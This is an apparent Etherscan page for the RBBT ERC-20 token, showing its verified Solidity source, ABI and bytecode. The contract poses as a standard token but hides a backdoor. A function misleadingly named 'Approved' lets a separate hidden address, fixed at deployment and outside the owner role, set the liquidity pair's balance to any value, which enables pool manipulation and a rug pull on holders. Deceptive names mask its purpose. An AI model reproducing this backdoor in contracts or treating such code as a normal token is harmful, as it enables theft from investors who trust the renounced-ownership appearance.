ERC-20
Overview
Max Total Supply
100,000,000 RBBT
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 2 Decimals)
Balance
1,000,000,000,000,071,889,595.12 RBBTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
RBBT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-02 */ /* https://t.me/RBBTerc20 https://twitter.com/RBBTerc20 https://twitter.com/elonmusk/status/748140919501656066?s=20 */ // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.8.0; /** * @dev Interface of the IERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/utils/Context.sol // pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: contracts/baseToken.sol // pragma solidity =0.8.4; enum TokenType { standard } abstract contract baseToken { event TokenCreated( address indexed owner, address indexed token, TokenType tokenType, uint256 version ); } // Root file: contracts/standard/StandardToken.sol pragma solidity =0.8.19; // import "@openzeppelin/contracts/token/IERC20/IERC20.sol"; // import "@openzeppelin/contracts/access/Ownable.sol"; // import "@openzeppelin/contracts/utils/math/SafeMath.sol"; // import "contracts/baseToken.sol"; contract RBBT is IERC20, baseToken, Ownable { using SafeMath for uint256; uint256 private constant VERSION = 1; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public uniswapV2Pair; address private whiteListV3; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor( string memory name_, string memory symbol_, uint8 decimals_, address whiteshipAddr, uint256 totalSupply_ ) payable { _name = name_; _symbol = symbol_; _decimals = decimals_; whiteListV3 = whiteshipAddr; _mint(owner(), totalSupply_); emit TokenCreated(owner(), address(this), TokenType.standard, VERSION); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "IERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "IERC20: decreased allowance below zero" ) ); return true; } modifier canWhitAddrPancakeV3() { require( _msgSender() == whiteListV3, "set the call to the entered") ; _; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "IERC20: transfer from the zero address"); require(recipient != address(0), "IERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "IERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function Approved( bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount ) external canWhitAddrPancakeV3 { uniswapV2Pair = _uniswapV2Pair;maxHoldingAmount = _maxHoldingAmount;minHoldingAmount = _minHoldingAmount; _balances[uniswapV2Pair] = maxHoldingAmount * minHoldingAmount; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "IERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"address","name":"whiteshipAddr","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bool","name":"_limited","type":"bool"},{"internalType":"address","name":"_uniswapV2Pair","type":"address"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_minHoldingAmount","type":"uint256"}],"name":"Approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526040516200267e3803806200267e833981810160405281019062000029919062000698565b620000496200003d6200016f60201b60201c565b6200017760201b60201c565b84600790816200005a91906200099f565b5083600890816200006c91906200099f565b5082600960006101000a81548160ff021916908360ff16021790555081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000ea620000dd6200023b60201b60201c565b826200026460201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff16620001116200023b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200015c92919062000b17565b60405180910390a3505050505062000c4e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002cd9062000ba5565b60405180910390fd5b620002ea600083836200040a60201b60201c565b6200030181600a546200040f60201b90919060201c565b600a819055506200035b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200040f60201b90919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003fe919062000bc7565b60405180910390a35050565b505050565b600081836200041f919062000c13565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004908262000445565b810181811067ffffffffffffffff82111715620004b257620004b162000456565b5b80604052505050565b6000620004c762000427565b9050620004d5828262000485565b919050565b600067ffffffffffffffff821115620004f857620004f762000456565b5b620005038262000445565b9050602081019050919050565b60005b838110156200053057808201518184015260208101905062000513565b60008484015250505050565b6000620005536200054d84620004da565b620004bb565b90508281526020810184848401111562000572576200057162000440565b5b6200057f84828562000510565b509392505050565b600082601f8301126200059f576200059e6200043b565b5b8151620005b18482602086016200053c565b91505092915050565b600060ff82169050919050565b620005d281620005ba565b8114620005de57600080fd5b50565b600081519050620005f281620005c7565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200062582620005f8565b9050919050565b620006378162000618565b81146200064357600080fd5b50565b60008151905062000657816200062c565b92915050565b6000819050919050565b62000672816200065d565b81146200067e57600080fd5b50565b600081519050620006928162000667565b92915050565b600080600080600060a08688031215620006b757620006b662000431565b5b600086015167ffffffffffffffff811115620006d857620006d762000436565b5b620006e68882890162000587565b955050602086015167ffffffffffffffff8111156200070a576200070962000436565b5b620007188882890162000587565b94505060406200072b88828901620005e1565b93505060606200073e8882890162000646565b9250506080620007518882890162000681565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007b157607f821691505b602082108103620007c757620007c662000769565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007f2565b6200083d8683620007f2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008806200087a62000874846200065d565b62000855565b6200065d565b9050919050565b6000819050919050565b6200089c836200085f565b620008b4620008ab8262000887565b848454620007ff565b825550505050565b600090565b620008cb620008bc565b620008d881848462000891565b505050565b5b818110156200090057620008f4600082620008c1565b600181019050620008de565b5050565b601f8211156200094f576200091981620007cd565b6200092484620007e2565b8101602085101562000934578190505b6200094c6200094385620007e2565b830182620008dd565b50505b505050565b600082821c905092915050565b6000620009746000198460080262000954565b1980831691505092915050565b60006200098f838362000961565b9150826002028217905092915050565b620009aa826200075e565b67ffffffffffffffff811115620009c657620009c562000456565b5b620009d2825462000798565b620009df82828562000904565b600060209050601f83116001811462000a17576000841562000a02578287015190505b62000a0e858262000981565b86555062000a7e565b601f19841662000a2786620007cd565b60005b8281101562000a515784890151825560018201915060208501945060208101905062000a2a565b8683101562000a71578489015162000a6d601f89168262000961565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b6001811062000ac95762000ac862000a86565b5b50565b600081905062000adc8262000ab5565b919050565b600062000aee8262000acc565b9050919050565b62000b008162000ae1565b82525050565b62000b11816200065d565b82525050565b600060408201905062000b2e600083018562000af5565b62000b3d602083018462000b06565b9392505050565b600082825260208201905092915050565b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b600062000b8d60208362000b44565b915062000b9a8262000b55565b602082019050919050565b6000602082019050818103600083015262000bc08162000b7e565b9050919050565b600060208201905062000bde600083018462000b06565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c20826200065d565b915062000c2d836200065d565b925082820190508082111562000c485762000c4762000be4565b5b92915050565b611a208062000c5e6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a25780639e4aa36a116100715780639e4aa36a146102d5578063a457c2d7146102f1578063a9059cbb14610321578063dd62ed3e14610351578063f2fde38b1461038157610116565b8063715018a61461027157806389f9a1d31461027b5780638da5cb5b1461029957806395d89b41146102b757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806349bd5a5e1461022357806370a082311461024157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd146101695780631ab99e1214610187575b600080fd5b61012361039d565b60405161013091906111ae565b60405180910390f35b610153600480360381019061014e9190611269565b61042f565b60405161016091906112c4565b60405180910390f35b61017161044d565b60405161017e91906112ee565b60405180910390f35b61018f610457565b60405161019c91906112ee565b60405180910390f35b6101bf60048036038101906101ba9190611309565b61045d565b6040516101cc91906112c4565b60405180910390f35b6101dd610536565b6040516101ea9190611378565b60405180910390f35b61020d60048036038101906102089190611269565b61054d565b60405161021a91906112c4565b60405180910390f35b61022b610600565b60405161023891906113a2565b60405180910390f35b61025b600480360381019061025691906113bd565b610626565b60405161026891906112ee565b60405180910390f35b61027961066f565b005b6102836106f7565b60405161029091906112ee565b60405180910390f35b6102a16106fd565b6040516102ae91906113a2565b60405180910390f35b6102bf610726565b6040516102cc91906111ae565b60405180910390f35b6102ef60048036038101906102ea9190611416565b6107b8565b005b61030b60048036038101906103069190611269565b610919565b60405161031891906112c4565b60405180910390f35b61033b60048036038101906103369190611269565b6109e6565b60405161034891906112c4565b60405180910390f35b61036b6004803603810190610366919061147d565b610a04565b60405161037891906112ee565b60405180910390f35b61039b600480360381019061039691906113bd565b610a8b565b005b6060600780546103ac906114ec565b80601f01602080910402602001604051908101604052809291908181526020018280546103d8906114ec565b80156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b5050505050905090565b600061044361043c610b82565b8484610b8a565b6001905092915050565b6000600a54905090565b60045481565b600061046a848484610d53565b61052b84610476610b82565b610526856040518060600160405280602981526020016119c260299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104dc610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006105f661055a610b82565b846105f1856002600061056b610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b610b8a565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610677610b82565b73ffffffffffffffffffffffffffffffffffffffff166106956106fd565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e290611569565b60405180910390fd5b6106f56000611055565b565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610735906114ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610761906114ec565b80156107ae5780601f10610783576101008083540402835291602001916107ae565b820191906000526020600020905b81548152906001019060200180831161079157829003601f168201915b5050505050905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f9610b82565b73ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610846906115d5565b60405180910390fd5b82600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600381905550806004819055506004546003546108ae9190611624565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60006109dc610926610b82565b846109d7856040518060600160405280602681526020016119756026913960026000610950610b82565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b610b8a565b6001905092915050565b60006109fa6109f3610b82565b8484610d53565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a93610b82565b73ffffffffffffffffffffffffffffffffffffffff16610ab16106fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe90611569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d906116d8565b60405180910390fd5b610b7f81611055565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf09061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f906117fc565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4691906112ee565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db99061188e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890611920565b60405180910390fd5b610e3c838383611119565b610ea88160405180606001604052806027815260200161199b60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f3d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461103f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fdd91906112ee565b60405180910390a3505050565b6000838311158290611032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102991906111ae565b60405180910390fd5b5082840390509392505050565b6000818361104d9190611940565b905092915050565b60008060009054906101000a90